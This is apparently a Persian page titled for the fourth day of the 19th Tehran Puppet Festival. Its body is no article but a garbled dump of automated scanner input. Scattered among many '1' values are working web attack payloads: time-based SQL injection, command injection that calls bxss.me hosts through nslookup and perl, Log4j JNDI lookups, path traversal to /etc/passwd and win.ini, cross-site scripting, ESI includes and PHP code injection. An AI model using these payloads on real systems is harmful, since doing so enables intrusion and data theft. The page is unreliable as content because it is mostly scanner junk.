در چهارمین روز نوزدهمین جشنواره نمایش عروسکی تهران-مبارک چه نمایشی را کجا ببینیم؟

1

1

1

${@print(md5(31337))}\

5CfkdMN7') OR 13=(SELECT 13 FROM PG_SLEEP(15))--

1

^(#$!@#$)(()))******

/../../../../../../../../../../windows/system32/BITSADMIN.exe

XTg3GBhX'); waitfor delay '0:0:15' --

'"

1

1

HttP://bxss.me/t/xss.html?%00

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

../1

1

1

1

1

1

&(nslookup hitctsbqqlaip2fb5d.bxss.me||perl -e "gethostbyname('hitctsbqqlaip2fb5d.bxss.me')")&'\"`0&(nslookup hitctsbqqlaip2fb5d.bxss.me||perl -e "gethostbyname('hitctsbqqlaip2fb5d.bxss.me')")&`'

1

1

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

response.write(9938419*9572036)

1

1&n999347=v900683

1

-1' OR 2+822-822-1=0+0+0+1 or 'MWiu5wUI'='

1

1

0ogxJW3S')) OR 446=(SELECT 446 FROM PG_SLEEP(15))--

1

1

1

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1

1

1

1

echo gglxhv$()\ vctxuu\nz^xyu||a #' &echo gglxhv$()\ vctxuu\nz^xyu||a #|" &echo gglxhv$()\ vctxuu\nz^xyu||a #

1

1

1

1

1

1

1

1

";print(md5(31337));$a="

1

-1" OR 2+277-277-1=0+0+0+1 --

1

1

1

-1; waitfor delay '0:0:15' --

1

1

!(()&&!|*|*|

1

1 waitfor delay '0:0:15' --

1

../../../../../../../../../../../../../../windows/win.ini

1

'"()

1

/xfs.bxss.me

1

1

1'"

;(nslookup hitkhxhcsaqlfa9f39.bxss.me||perl -e "gethostbyname('hitkhxhcsaqlfa9f39.bxss.me')")|(nslookup hitkhxhcsaqlfa9f39.bxss.me||perl -e "gethostbyname('hitkhxhcsaqlfa9f39.bxss.me')")&(nslookup hitkhxhcsaqlfa9f39.bxss.me||perl -e "gethostbyname('hitkhxhcsaqlfa9f39.bxss.me')")

1'"()&%<acx><ScRiPt >PAMe(9376)</ScRiPt>

|echo wctswh$()\ bwvznz\nz^xyu||a #' |echo wctswh$()\ bwvznz\nz^xyu||a #|" |echo wctswh$()\ bwvznz\nz^xyu||a #

${9999110+9999298}

1

1

SaveNewsComment

1

)

1

1

-5 OR 363=(SELECT 363 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'"()&%<acx><ScRiPt >PAMe(9415)</ScRiPt>

1

1

../../../../../../../../../../../../../../etc/passwd

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

3MNuwrii')); waitfor delay '0:0:15' --

1

h6FdxPOB

1

(nslookup hityotpmffskc02a16.bxss.me||perl -e "gethostbyname('hityotpmffskc02a16.bxss.me')")

9cAbOKob

1

bxss.me

${@print(md5(31337))}

1

-5) OR 902=(SELECT 902 FROM PG_SLEEP(15))--

$(nslookup hitnoojceucvc5d5c6.bxss.me||perl -e "gethostbyname('hitnoojceucvc5d5c6.bxss.me')")

1

'+'A'.concat(70-3).concat(22*4).concat(107).concat(84).concat(101).concat(78)+(require'socket' Socket.gethostbyname('hitse'+'bemhnbie85346.bxss.me.')[3].to_s)+'

1

1

${j${::-n}di:dns${::-:}//hithxmssdaastb10a3${::-.}bxss.me}zzzz

1

1

if(now()=sysdate(),sleep(15),0)

1

-1)) OR 620=(SELECT 620 FROM PG_SLEEP(15))--

1

1

';print(md5(31337));$a='

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

eMHk8fvw' OR 84=(SELECT 84 FROM PG_SLEEP(15))--

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

@@liTeA

'.print(md5(31337)).'

1

1

1

1

1

1

1

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.074625.3-9755.3.2efad${::-.}1${::-.}bxss.me}}

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

1

1

-1 OR 2+35-35-1=0+0+0+1

".gethostbyname(lc("hitwf"."dnolhydd9c98d.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(83).chr(113).chr(74)."

19930945

&echo ashedd$()\ uxbybi\nz^xyu||a #' &echo ashedd$()\ uxbybi\nz^xyu||a #|" &echo ashedd$()\ uxbybi\nz^xyu||a #

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

-1 OR 2+700-700-1=0+0+0+1 --

'.gethostbyname(lc('hitrv'.'zyowulonc55b0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(69).chr(105).chr(70).'

1

<!--

1

1

1

1

1

|(nslookup hitovhyjcmumb53464.bxss.me||perl -e "gethostbyname('hitovhyjcmumb53464.bxss.me')")

1

-1)); waitfor delay '0:0:15' --

"+"A".concat(70-3).concat(22*4).concat(115).concat(68).concat(116).concat(80)+(require"socket" Socket.gethostbyname("hitet"+"nnqgruzy7145f.bxss.me.")[3].to_s)+"

1

SaveNewsComment/.

1

1

1some_inexistent_file_with_long_name.jpg

Http://bxss.me/t/fit.txt

1

`(nslookup hitiuzggfttkdb29b1.bxss.me||perl -e "gethostbyname('hitiuzggfttkdb29b1.bxss.me')")`

1

1

1

1

1

1

1

1

1

http://bxss.me/t/fit.txt?.jpg

1

1

1

1

1

1

1

GUR6x2zP'; waitfor delay '0:0:15' --

1

"+response.write(9938419*9572036)+"

1

-1); waitfor delay '0:0:15' --

1

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

1

1

1

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitayehdevmog83cd6${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1

1

SaveNewsComment

-1' OR 2+348-348-1=0+0+0+1 --

1

1

1����%2527%2522

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

'+response.write(9938419*9572036)+'

1

1

bxss.me/t/xss.html?%00

1

1

12345'"\'\");|]*{ <>�''💡

1

1